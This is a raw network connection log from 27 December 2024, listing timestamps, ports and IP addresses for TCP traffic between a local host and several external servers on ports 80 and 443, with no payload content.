Dec 27, 2024 08:52:23.277287006 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:23.277374983 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:23.278194904 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:23.278248072 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:23.278279066 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:23.278325081 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:23.279191971 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:23.279239893 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:23.279278040 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:23.279324055 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:23.280162096 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:23.280209064 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:23.280257940 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:23.280303955 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:23.281163931 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:23.281183004 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:23.281213045 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:23.281234026 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:23.282162905 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:23.282226086 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:23.282255888 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:23.282305956 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:23.283143044 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:23.283198118 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:23.283222914 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:23.283262968 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:23.284104109 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:23.284153938 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:23.284233093 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:23.284276009 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:23.285105944 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:23.285156012 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:23.285195112 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:23.285237074 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:23.286106110 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:23.286156893 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:23.286214113 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:23.286257029 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:23.287108898 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:23.287159920 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:23.287199020 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:23.287241936 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:23.288069963 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:23.288136005 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:23.288167000 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:23.288207054 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:23.289067030 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:23.289122105 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:23.289189100 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:23.289232016 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:23.290097952 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:23.290155888 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:23.290216923 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:23.290262938 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:23.291044950 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:23.291106939 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:23.291143894 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:23.291192055 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:23.292040110 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:23.292098999 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:23.292129993 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:23.292176962 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:23.293029070 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:23.293103933 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:23.293135881 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:23.293178082 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:23.294032097 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:23.294100046 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:23.294135094 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:23.294181108 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:23.295027971 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:23.295079947 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:23.295084953 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:23.295123100 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:23.296062946 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:23.296113014 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:23.296113014 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:23.296150923 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:23.296991110 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:23.297041893 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:23.297044992 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:23.297080994 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:23.297981977 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:23.298033953 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:23.298104048 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:23.298150063 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:23.298971891 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:23.299024105 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:23.299096107 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:23.299140930 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:23.300005913 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:23.300055981 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:23.300108910 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:23.300149918 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:23.300930023 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:23.300975084 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:23.441247940 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:23.441309929 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:23.441535950 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:23.441567898 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:23.441596985 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:23.441658974 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:23.442584991 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:23.442675114 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:23.442684889 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:23.442718983 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:23.443528891 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:23.443591118 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:23.443644047 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:23.443686008 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:23.444540977 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:23.444638968 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:23.444690943 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:23.445530891 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:23.445588112 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:23.445640087 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:23.445686102 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:23.446507931 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:23.446558952 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:23.446609974 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:23.446654081 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:23.447499990 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:23.447556973 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:23.447596073 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:23.447639942 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:23.448483944 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:23.448532104 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:23.448575020 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:23.449697971 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:23.449731112 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:23.449768066 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:23.449801922 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:23.450476885 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:23.450591087 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:23.450643063 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:23.451486111 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:23.451539993 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:23.451584101 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:23.451632023 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:23.452490091 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:23.452544928 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:23.452579975 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:23.452625036 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:23.453421116 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:23.456638098 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:24.849324942 CET	49983	443	192.168.2.6	104.21.11.101
Dec 27, 2024 08:52:24.849380970 CET	443	49983	104.21.11.101	192.168.2.6
Dec 27, 2024 08:52:24.849461079 CET	49983	443	192.168.2.6	104.21.11.101
Dec 27, 2024 08:52:24.854410887 CET	49983	443	192.168.2.6	104.21.11.101
Dec 27, 2024 08:52:24.854432106 CET	443	49983	104.21.11.101	192.168.2.6
Dec 27, 2024 08:52:25.763206005 CET	49965	80	192.168.2.6	185.215.113.43
Dec 27, 2024 08:52:25.775732994 CET	49987	80	192.168.2.6	185.215.113.43
Dec 27, 2024 08:52:25.883132935 CET	80	49965	185.215.113.43	192.168.2.6
Dec 27, 2024 08:52:25.883218050 CET	49965	80	192.168.2.6	185.215.113.43
Dec 27, 2024 08:52:25.895309925 CET	80	49987	185.215.113.43	192.168.2.6
Dec 27, 2024 08:52:25.895385981 CET	49987	80	192.168.2.6	185.215.113.43
Dec 27, 2024 08:52:25.895756960 CET	49987	80	192.168.2.6	185.215.113.43
Dec 27, 2024 08:52:26.015177965 CET	80	49987	185.215.113.43	192.168.2.6
Dec 27, 2024 08:52:26.256413937 CET	443	49983	104.21.11.101	192.168.2.6
Dec 27, 2024 08:52:26.256525040 CET	49983	443	192.168.2.6	104.21.11.101
Dec 27, 2024 08:52:26.258120060 CET	49983	443	192.168.2.6	104.21.11.101
Dec 27, 2024 08:52:26.258131981 CET	443	49983	104.21.11.101	192.168.2.6
Dec 27, 2024 08:52:26.258368015 CET	443	49983	104.21.11.101	192.168.2.6
Dec 27, 2024 08:52:26.302891016 CET	49983	443	192.168.2.6	104.21.11.101
Dec 27, 2024 08:52:26.302917957 CET	49983	443	192.168.2.6	104.21.11.101
Dec 27, 2024 08:52:26.302994967 CET	443	49983	104.21.11.101	192.168.2.6
Dec 27, 2024 08:52:27.053459883 CET	443	49983	104.21.11.101	192.168.2.6
Dec 27, 2024 08:52:27.053565979 CET	443	49983	104.21.11.101	192.168.2.6
Dec 27, 2024 08:52:27.053858042 CET	49983	443	192.168.2.6	104.21.11.101
Dec 27, 2024 08:52:27.054008007 CET	49983	443	192.168.2.6	104.21.11.101
Dec 27, 2024 08:52:27.054033995 CET	443	49983	104.21.11.101	192.168.2.6
Dec 27, 2024 08:52:27.054044962 CET	49983	443	192.168.2.6	104.21.11.101
Dec 27, 2024 08:52:27.054050922 CET	443	49983	104.21.11.101	192.168.2.6
Dec 27, 2024 08:52:27.100369930 CET	49990	443	192.168.2.6	104.21.11.101
Dec 27, 2024 08:52:27.100475073 CET	443	49990	104.21.11.101	192.168.2.6
Dec 27, 2024 08:52:27.100569010 CET	49990	443	192.168.2.6	104.21.11.101
Dec 27, 2024 08:52:27.100882053 CET	49990	443	192.168.2.6	104.21.11.101
Dec 27, 2024 08:52:27.100918055 CET	443	49990	104.21.11.101	192.168.2.6
Dec 27, 2024 08:52:27.294430017 CET	80	49987	185.215.113.43	192.168.2.6
Dec 27, 2024 08:52:27.294574022 CET	49987	80	192.168.2.6	185.215.113.43
Dec 27, 2024 08:52:27.297693014 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:27.297976017 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:27.418283939 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:27.418423891 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:27.418438911 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:27.418489933 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:27.418699026 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:27.538136005 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:28.358937979 CET	443	49990	104.21.11.101	192.168.2.6
Dec 27, 2024 08:52:28.359019041 CET	49990	443	192.168.2.6	104.21.11.101
Dec 27, 2024 08:52:28.766230106 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:28.766258001 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:28.766271114 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:28.766294956 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:28.766314983 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:28.766314983 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:28.766350985 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:28.766355038 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:28.766366005 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:28.766386032 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:28.766417980 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:28.766417980 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:28.766568899 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:28.766612053 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:28.766623974 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:28.766627073 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:28.766661882 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:28.766675949 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:28.886049032 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:28.886066914 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:28.886121035 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:28.958353043 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:28.958411932 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:28.958446980 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:28.958477020 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:28.962296963 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:28.962359905 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:28.962385893 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:28.962424040 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:28.968820095 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:28.968883991 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:28.968966961 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:28.969018936 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:28.977216959 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:28.977284908 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:28.977320910 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:28.977369070 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:28.985656977 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:28.985726118 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:28.985747099 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:28.985797882 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:28.993931055 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:28.994050026 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:28.994138002 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:28.994191885 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.002341986 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.002404928 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.002449989 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.002505064 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.010708094 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.010777950 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.010822058 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.010873079 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.019076109 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.019136906 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.019210100 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.019264936 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.027443886 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.027506113 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.027539015 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.027590036 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.035073042 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.035136938 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.035149097 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.035203934 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.150119066 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.150177002 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.150271893 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.151540041 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.151642084 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.151694059 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.156488895 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.156611919 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.156680107 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.161453009 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.161560059 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.161617994 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.166413069 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.166491985 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.166517019 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.166670084 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.171164036 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.171219110 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.171255112 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.171297073 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.175925970 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.175990105 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.176002026 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.176039934 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.180716038 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.180787086 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.180793047 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.180831909 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.185421944 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.185504913 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.185528994 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.185576916 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.190155029 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.190223932 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.190257072 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.190293074 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.194921017 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.194972992 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.195012093 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.195050955 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.199686050 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.199743986 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.199765921 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.199804068 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.204423904 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.204473972 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.204533100 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.204570055 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.209172010 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.209222078 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.209259033 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.209336996 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.213907957 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.213959932 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.213993073 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.214034081 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.218668938 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.218725920 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.218770027 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.218811035 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.223434925 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.223499060 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.223526955 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.223566055 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.228221893 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.228293896 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.228318930 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.228352070 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.232928991 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.233004093 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.233011961 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.233103991 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.342483997 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.342525959 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.342567921 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.342609882 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.344249964 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.344302893 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.344369888 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.344413996 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.347424984 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.347482920 CET	80	49991	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:29.347486019 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.347657919 CET	49991	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:29.351399899 CET	80	49991	185.215.113.16	192.168.2.6
